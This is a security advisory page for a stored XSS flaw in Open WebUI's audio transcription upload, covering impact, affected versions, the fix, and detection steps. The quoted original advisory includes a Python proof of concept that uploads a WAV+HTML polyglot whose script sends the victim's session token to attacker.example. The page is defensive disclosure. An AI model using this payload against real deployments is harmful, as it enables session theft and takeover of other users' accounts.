AgentbeamBeta
AI agent vulnerability · Open WebUI

CVE-2026-45315: Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions

highCVSS 3.1 8.7GHSA-m8f9-9whg-f4xr

Open WebUI up to 0.9.2 has a stored XSS in the audio transcription upload. A logged-in user can upload an HTML file disguised as audio, and when another user opens its cache URL the script runs in the Open WebUI origin and can steal the session token. Upgrade open-webui to 0.9.3.

Published May 14, 2026 · Updated May 19, 2026 · Analysis Nov 24, 2026

What an attacker can do

The endpoint /api/v1/audio/transcriptions takes the file extension from the uploaded file name and saves the file as a uuid plus that extension under the cache directory. It checks only the declared Content-Type, which can say audio/wav, not the body or the extension. The /cache/{path} route then serves the file with FileResponse. That sets Content-Type from the extension, so a file named pwn.html comes back as text/html, with no Content-Disposition header.

The attacker needs a verified account with the chat.stt permission, which is on by default, and must get one other user to open the cache URL. A WAV header followed by a script tag works as the polyglot body. The script runs in the Open WebUI origin. The JWT sits in localStorage and the OAuth token cookie is not HttpOnly, so the script can read both and take over the victim's account, admins included. The reporter notes that an admin token could theoretically reach server-side code execution through the admin plugin mechanism, but called that out of scope.

Who is affected

pip package open-webui, version 0.9.2 and earlier (verified by the reporter on 0.9.2). Check what you run:

pip show open-webui

For Docker, read the image tag or check the version in the Open WebUI About settings. Deployments where users can upload audio for speech-to-text, which is the default, are exposed.

open-webui

Ecosystem
PyPI
Affected
<= 0.9.2
Fixed in
0.9.3
Check
pip show open-webui

How to fix it

Upgrade to open-webui 0.9.3:

pip install -U open-webui==0.9.3

The 0.9.3 release notes say cached files that are not images, audio or video now download as attachments instead of rendering inline, and that admins can configure which audio extensions are accepted for speech-to-text. The advisory's workaround for older versions: set USER_PERMISSIONS_CHAT_STT=False, which revokes the upload right from non-admin users. After upgrading, remove any non-audio files from the cache directory under audio/transcriptions.

How to tell if you were hit

List the files in CACHE_DIR/audio/transcriptions and look for any with an extension other than a normal audio type, such as html, svg or htm. Check access logs for requests to cache paths under audio/transcriptions that end in html, and for POSTs to the transcriptions endpoint with a non-audio file name. If you find one, treat sessions of users who may have opened it as stolen and revoke their tokens.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):

  • backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No allowlist, no cross-check against file.content_type.
  • backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension and sets no Content-Disposition.
  • backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body.
  • backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.
  • src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.
  • backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.

  import struct, httpx                                                                                                                                   

  data = b'\x80' * 44100                                                                                                                                   
  wav  = struct.pack('<4sI4s4sIHHIIHH4sI',
          b'RIFF', 36 + len(data), b'WAVE',                                                                                                                
          b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         
          b'data', len(data)) + data                                                                                                                       
  payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'
                      
                                                                                                                                                           
  r = httpx.post(                                                                                                                                          
      'https://VICTIM/api/v1/audio/transcriptions',                                                                                                        
      headers={'Authorization': f'Bearer {ATTACKER_JWT}'},                                                                                                 
      files={'file': ('pwn.html', payload, 'audio/wav')},                                                                                                  
  )                                                                                                                                                        
  fn = r.json()['filename']      # '<uuid>.html'
 #Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>                                                                 

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact

Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.

Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.

Credited to maloleg, Classic298.

Questions

Does CVE-2026-45315 need user interaction?

Yes. Another authenticated user must open the cache URL of the uploaded file. The attacker also needs a verified account with the chat.stt permission.

Can I mitigate without upgrading?

The advisory suggests setting USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins. Upgrading to 0.9.3 is the real fix.

What can an attacker steal?

The script runs in the app origin and can read the JWT from localStorage and the non-HttpOnly OAuth cookie, which allows account takeover of any user who opens the link, including admins.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Open WebUI vulnerabilities

All Open WebUI entries